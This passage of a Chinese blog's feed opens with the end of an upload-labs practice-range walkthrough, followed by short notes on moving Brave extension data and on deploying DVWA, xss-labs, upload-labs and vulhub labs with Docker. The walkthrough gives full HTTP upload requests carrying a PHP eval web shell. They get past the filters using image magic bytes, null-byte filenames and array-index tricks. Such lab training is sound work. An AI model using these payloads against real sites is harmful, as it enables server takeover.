class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX--</span><br></pre></td></tr></table></figure><ul><li>与<code>/include.php?file=upload/201601021504050000.gif</code>建立连接</li></ul><h4 id="JPEG-2"><a href="#JPEG-2" class="headerlink" title="JPEG"></a>JPEG</h4><blockquote><p><code>ÿØÿÀ</code>：16进制的<code>FF D8 FF C0 00 11 08 00 01 00 01 03 01 11 00 02 11 00 03 11 00 FF D9</code></p></blockquote><figure class="highlight http"><figcaption><span>request</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">POST /Pass-15/index.php</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>multipart/form-data; </span><br><span class="line"></span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;upload_file&quot;; filename=&quot;x.jpg&quot;</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>image/jpeg</span><br><span class="line"></span><br><span class="line">ÿØÿÀ</span><br><span class="line">&lt;?php eval($_REQUEST[&quot;x&quot;]); ?&gt;</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;submit&quot;</span><br><span class="line"></span><br><span class="line">上传</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX--</span><br></pre></td></tr></table></figure><ul><li>与<code>/include.php?file=upload/201601021504050000.jpg</code>建立连接</li></ul><h4 id="PNG-2"><a href="#PNG-2" class="headerlink" title="PNG"></a>PNG</h4><blockquote><p><code>00000000</code>：将16进制的<code>30 30 30 30 30 30 30 30</code>改为16进制的<code>89 50 4E 47 0D 0A 1A 0A</code></p></blockquote><figure class="highlight http"><figcaption><span>request</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">POST /Pass-15/index.php</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>multipart/form-data; </span><br><span class="line"></span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;upload_file&quot;; filename=&quot;x.png&quot;</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>image/png</span><br><span class="line"></span><br><span class="line">00000000</span><br><span class="line">&lt;?php eval($_REQUEST[&quot;x&quot;]); ?&gt;</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;submit&quot;</span><br><span class="line"></span><br><span class="line">上传</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX--</span><br></pre></td></tr></table></figure><ul><li>与<code>/include.php?file=upload/201601021504050000.png</code>建立连接</li></ul><h2 id="Pass-16"><a href="#Pass-16" class="headerlink" title="Pass-16"></a>Pass-16</h2><p>略</p><h2 id="Pass-17"><a href="#Pass-17" class="headerlink" title="Pass-17"></a>Pass-17</h2><p>略</p><h2 id="Pass-18"><a href="#Pass-18" class="headerlink" title="Pass-18"></a>Pass-18</h2><p>略</p><h2 id="Pass-19"><a href="#Pass-19" class="headerlink" title="Pass-19"></a>Pass-19</h2><blockquote><p><code>0</code>：将16进制的<code>30</code>改为16进制的<code>00</code></p></blockquote><figure class="highlight http"><figcaption><span>request</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">POST /Pass-19/index.php</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>multipart/form-data; </span><br><span class="line"></span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;upload_file&quot;; filename=&quot;x.gif&quot;</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>image/gif</span><br><span class="line"></span><br><span class="line">&lt;?php eval($_REQUEST[&quot;x&quot;]); ?&gt;</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;save_name&quot;</span><br><span class="line"></span><br><span class="line">x.php0.jpg</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;submit&quot;</span><br><span class="line"></span><br><span class="line">上传</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX--</span><br></pre></td></tr></table></figure><ul><li>与<code>/upload/x.php</code>建立连接</li></ul><h2 id="Pass-20"><a href="#Pass-20" class="headerlink" title="Pass-20"></a>Pass-20</h2><figure class="highlight http"><figcaption><span>request</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">POST /Pass-20/index.php</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>multipart/form-data; </span><br><span class="line"></span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;upload_file&quot;; filename=&quot;x.gif&quot;</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>image/gif</span><br><span class="line"></span><br><span class="line">&lt;?php eval($_REQUEST[&quot;x&quot;]); ?&gt;</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;save_name[0]&quot;</span><br><span class="line"></span><br><span class="line">x.php</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;save_name[2]&quot;</span><br><span class="line"></span><br><span class="line">gif</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;submit&quot;</span><br><span class="line"></span><br><span class="line">上传</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX--</span><br></pre></td></tr></table></figure><ul><li>与<code>/upload/x.php</code>建立连接</li></ul><h2 id="完成"><a href="#完成" class="headerlink" title="完成"></a>完成</h2><h2 id="参考文献"><a href="#参考文献" class="headerlink" title="参考文献"></a>参考文献</h2><p><a href="/302.html?target=https://blog.csdn.net/2301_76913435/article/details/146044823">CSDN——不会码字的笨蛋奶妈</a><br><a href="https://www.cnblogs.com/ycfenxi/p/19193668">博客园——ycfenxi</a></p>]]>
    </content>
    <id>https://loli.fj.cn/2026/07/05/upload-labs%E9%80%9A%E5%85%B3%E6%94%BB%E7%95%A5/</id>
    <link href="https://loli.fj.cn/2026/07/05/upload-labs%E9%80%9A%E5%85%B3%E6%94%BB%E7%95%A5/"/>
    <published>2026-07-05T22:44:57.000Z</published>
    <summary>
      <![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>upload-labs通关攻略</p>]]>
    </summary>
    <title>【靶场】upload-labs通关攻略</title>
    <updated>2026-07-16T13:01:47.427Z</updated>
  </entry>
  <entry>
    <author>
      <name>57uv6Z6g</name>
    </author>
    <category term="Windows" scheme="https://loli.fj.cn/tags/Windows/"/>
    <content>
      <![CDATA[<div id="toot-id" style="display: none">undefined</div><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>Brave迁移插件<a href="/302.html?target=https://chromewebstore.google.com/detail/proxy-switchyomega/padekgcemlokbadohgkifijomclgjgif">ProxySwitchyOmega</a>数据到<a href="https://chromewebstore.google.com/detail/proxy-switchyomega-3-zero/pfnededegaaopdmhkdmcofjmoldfiped">ZeroOmega</a></p><span id="more"></span><h2 id="正文"><a href="#正文" class="headerlink" title="正文"></a>正文</h2><blockquote><p><code>padekgcemlokbadohgkifijomclgjgif</code>：ProxySwitchyOmega的数据<br><code>pfnededegaaopdmhkdmcofjmoldfiped</code>：ZeroOmega的数据</p></blockquote><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">taskkill</span> /im brave.exe</span><br><span class="line"><span class="built_in">del</span> /q &quot;<span class="variable">%LocalAppData%</span>\BraveSoftware\Brave-Browser\User Data\Default\Local Extension Settings\pfnededegaaopdmhkdmcofjmoldfiped&quot;</span><br><span class="line"><span class="built_in">xcopy</span> &quot;<span class="variable">%LocalAppData%</span>\BraveSoftware\Brave-Browser\User Data\Default\Local Extension Settings\padekgcemlokbadohgkifijomclgjgif\*&quot; &quot;<span class="variable">%LocalAppData%</span>\BraveSoftware\Brave-Browser\User Data\Default\Local Extension Settings\pfnededegaaopdmhkdmcofjmoldfiped\&quot; /Y</span><br></pre></td></tr></table></figure><h2 id="完成"><a href="#完成" class="headerlink" title="完成"></a>完成</h2>]]>
    </content>
    <id>https://loli.fj.cn/2026/07/05/Brave%E8%BF%81%E7%A7%BBProxySwitchyOmega%E6%95%B0%E6%8D%AE%E5%88%B0ZeroOmega/</id>
    <link href="https://loli.fj.cn/2026/07/05/Brave%E8%BF%81%E7%A7%BBProxySwitchyOmega%E6%95%B0%E6%8D%AE%E5%88%B0ZeroOmega/"/>
    <published>2026-07-05T21:59:29.000Z</published>
    <summary>
      <![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>Brave迁移插件<a href="/302.html?target=https://chromewebstore.google.com/detail/proxy-switchyomega/padekgcemlokbadohgkifijomclgjgif">ProxySwitchyOmega</a>数据到<a href="https://chromewebstore.google.com/detail/proxy-switchyomega-3-zero/pfnededegaaopdmhkdmcofjmoldfiped">ZeroOmega</a></p>]]>
    </summary>
    <title>【笔记】Brave迁移ProxySwitchyOmega数据到ZeroOmega</title>
    <updated>2026-07-16T13:01:47.303Z</updated>
  </entry>
  <entry>
    <author>
      <name>57uv6Z6g</name>
    </author>
    <content>
      <![CDATA[<div id="toot-id" style="display: none">undefined</div><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>通过Docker部署<a href="/302.html?target=https://github.com/digininja/DVWA">digininja&#x2F;DVWA</a>，实现渗透测试靶场</p><span id="more"></span><h2 id="通过Docker部署"><a href="#通过Docker部署" class="headerlink" title="通过Docker部署"></a>通过Docker部署</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker run -d --name dvwa -p 80:80 citizenstig/dvwa:latest</span><br></pre></td></tr></table></figure><h2 id="初始化"><a href="#初始化" class="headerlink" title="初始化"></a>初始化</h2><ul><li>访问<a href="http://localhost/">http://localhost:80/</a>-&gt;<code>Create / Reset Database</code></li></ul><p><img src="/../images/20260703093800/01.webp"></p><ul><li><code>login</code></li></ul><blockquote><p>username：<code>admin</code><br>password：<code>password</code></p></blockquote><p><img src="/../images/20260703093800/02.webp"></p><h2 id="完成"><a href="#完成" class="headerlink" title="完成"></a>完成</h2><ul><li>截图纪念</li></ul><p><img src="/../images/20260703093800/03.webp"></p><h2 id="参考文献"><a href="#参考文献" class="headerlink" title="参考文献"></a>参考文献</h2><p><a href="https://blog.csdn.net/2301_79431343/article/details/158849347">CSDN——柏箱</a></p>]]>
    </content>
    <id>https://loli.fj.cn/2026/07/03/%E9%80%9A%E8%BF%87Docker%E9%83%A8%E7%BD%B2DVWA/</id>
    <link href="https://loli.fj.cn/2026/07/03/%E9%80%9A%E8%BF%87Docker%E9%83%A8%E7%BD%B2DVWA/"/>
    <published>2026-07-03T01:38:00.000Z</published>
    <summary>
      <![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>通过Docker部署<a href="/302.html?target=https://github.com/digininja/DVWA">digininja&#x2F;DVWA</a>，实现渗透测试靶场</p>]]>
    </summary>
    <title>【笔记】通过Docker部署DVWA</title>
    <updated>2026-07-16T13:01:47.461Z</updated>
  </entry>
  <entry>
    <author>
      <name>57uv6Z6g</name>
    </author>
    <content>
      <![CDATA[<div id="toot-id" style="display: none">undefined</div><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>通过Docker部署<a href="/302.html?target=https://github.com/do0dl3/xss-labs">do0dl3&#x2F;xss-labs</a>，实现XSS靶场</p><span id="more"></span><h2 id="通过Docker部署"><a href="#通过Docker部署" class="headerlink" title="通过Docker部署"></a>通过Docker部署</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker run -d --name xss-labs -p 80:80 shadowaura/xss-labs:latest</span><br></pre></td></tr></table></figure><h2 id="完成"><a href="#完成" class="headerlink" title="完成"></a>完成</h2><ul><li>截图纪念</li></ul><p><img src="/../images/20260703090204/01.webp"></p><h2 id="参考文献"><a href="#参考文献" class="headerlink" title="参考文献"></a>参考文献</h2><p><a href="https://blog.csdn.net/qq_42780280/article/details/142821657">CSDN——gjhaoiaao</a></p>]]>
    </content>
    <id>https://loli.fj.cn/2026/07/03/%E9%80%9A%E8%BF%87Docker%E9%83%A8%E7%BD%B2xss-labs/</id>
    <link href="https://loli.fj.cn/2026/07/03/%E9%80%9A%E8%BF%87Docker%E9%83%A8%E7%BD%B2xss-labs/"/>
    <published>2026-07-03T01:02:04.000Z</published>
    <summary>
      <![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>通过Docker部署<a href="/302.html?target=https://github.com/do0dl3/xss-labs">do0dl3&#x2F;xss-labs</a>，实现XSS靶场</p>]]>
    </summary>
    <title>【笔记】通过Docker部署xss-labs</title>
    <updated>2026-07-16T13:01:47.469Z</updated>
  </entry>
  <entry>
    <author>
      <name>57uv6Z6g</name>
    </author>
    <content>
      <![CDATA[<div id="toot-id" style="display: none">undefined</div><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>通过Docker部署<a href="/302.html?target=https://github.com/c0ny1/upload-labs">c0ny1&#x2F;upload-labs</a>，实现文件上传靶场</p><span id="more"></span><h2 id="通过Docker部署"><a href="#通过Docker部署" class="headerlink" title="通过Docker部署"></a>通过Docker部署</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker run -d --name upload-labs -p 80:80 c0ny1/upload-labs:latest</span><br></pre></td></tr></table></figure><h2 id="修复环境"><a href="#修复环境" class="headerlink" title="修复环境"></a>修复环境</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">docker exec -it upload-labs /bin/bash -c &quot;</span><br><span class="line">mkdir -p /var/www/html/upload &amp;&amp; chown www-data:www-data /var/www/html/upload &amp;&amp; chmod -R 777 /var/www/html/upload &amp;&amp;</span><br><span class="line">echo &#x27;AddType application/x-httpd-php .php .php3 .php5 .phtml&#x27; &gt;&gt; /etc/apache2/mods-enabled/php7.4.conf &amp;&amp;</span><br><span class="line">sed -i &#x27;/&lt;Directory \\/var\\/www\\/html&gt;/,/&lt;\\/Directory&gt;/ s/AllowOverride None/AllowOverride All/&#x27; /etc/apache2/sites-available/000-default.conf &amp;&amp;</span><br><span class="line">sed -i &#x27;/&lt;Directory \\/var\\/www\\/html&gt;/a\\Require all granted&#x27; /etc/apache2/sites-available/000-default.conf &amp;&amp;</span><br><span class="line">sed -i &#x27;s/^file\_uploads = Off/file\_uploads = On/&#x27; /etc/php/7.4/apache2/php.ini &amp;&amp;</span><br><span class="line">service apache2 restart</span><br><span class="line">&quot;</span><br></pre></td></tr></table></figure><h2 id="容器内清空upload目录内的所有文件（可选）"><a href="#容器内清空upload目录内的所有文件（可选）" class="headerlink" title="容器内清空upload目录内的所有文件（可选）"></a>容器内清空upload目录内的所有文件（可选）</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker exec -it upload-labs /bin/bash -c &quot;rm -rf /var/www/html/upload/*&quot;</span><br></pre></td></tr></table></figure><h2 id="完成"><a href="#完成" class="headerlink" title="完成"></a>完成</h2><ul><li>截图纪念</li></ul><p><img src="/../images/20260703084531/01.webp"></p><h2 id="参考文献"><a href="#参考文献" class="headerlink" title="参考文献"></a>参考文献</h2><p><a href="https://blog.csdn.net/qq_42780280/article/details/142848860">CSDN——gjhaoiaao</a></p>]]>
    </content>
    <id>https://loli.fj.cn/2026/07/03/%E9%80%9A%E8%BF%87Docker%E9%83%A8%E7%BD%B2upload-labs/</id>
    <link href="https://loli.fj.cn/2026/07/03/%E9%80%9A%E8%BF%87Docker%E9%83%A8%E7%BD%B2upload-labs/"/>
    <published>2026-07-03T00:45:31.000Z</published>
    <summary>
      <![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>通过Docker部署<a href="/302.html?target=https://github.com/c0ny1/upload-labs">c0ny1&#x2F;upload-labs</a>，实现文件上传靶场</p>]]>
    </summary>
    <title>【笔记】通过Docker部署upload-labs</title>
    <updated>2026-07-16T13:01:47.469Z</updated>
  </entry>
  <entry>
    <author>
      <name>57uv6Z6g</name>
    </author>
    <content>
      <![CDATA[<div id="toot-id" style="display: none">undefined</div><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>通过Docker部署<a href="/302.html?target=https://github.com/vulhub/vulhub">vulhub&#x2F;vulhub</a>，实现渗透测试靶场</p><span id="more"></span><h2 id="下载项目"><a href="#下载项目" class="headerlink" title="下载项目"></a>下载项目</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">git clone https://github.com/vulhub/vulhub.git</span><br><span class="line">cd vulhub</span><br></pre></td></tr></table></figure><h2 id="通过Docker部署某一个靶场"><a href="#通过Docker部署某一个靶场" class="headerlink" title="通过Docker部署某一个靶场"></a>通过Docker部署某一个靶场</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">cd langflow/CVE-2025-3248</span><br><span class="line">docker compose up -d</span><br></pre></td></tr></table></figure><h2 id="完成"><a href="#完成" class="headerlink" title="完成"></a>完成</h2>]]>
    </content>
    <id>https://loli.fj.cn/2026/07/03/%E9%80%9A%E8%BF%87Docker%E9%83%A8%E7%BD%B2Vulhub/</id>
    <link href="https://loli.fj.cn/2026/07/03/%E9%80%9A%E8%BF%87Docker%E9%83%A8%E7%BD%B2Vulhub/"/>
    <published>2026-07-03T00:29:16.000Z</published>
    <summary>
      <![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>通过Docker部署<a href="/302.html?target=https://github.com/vulhub/vulhub">vulhub&#x2F;vulhub</a>，实现渗透测试靶场</p>]]>
    </summary>
    <title>【笔记】通过Docker部署Vulhub</title>
    <updated>2026-07-16T13:01:47.468Z</updated>
  </entry>
</feed>
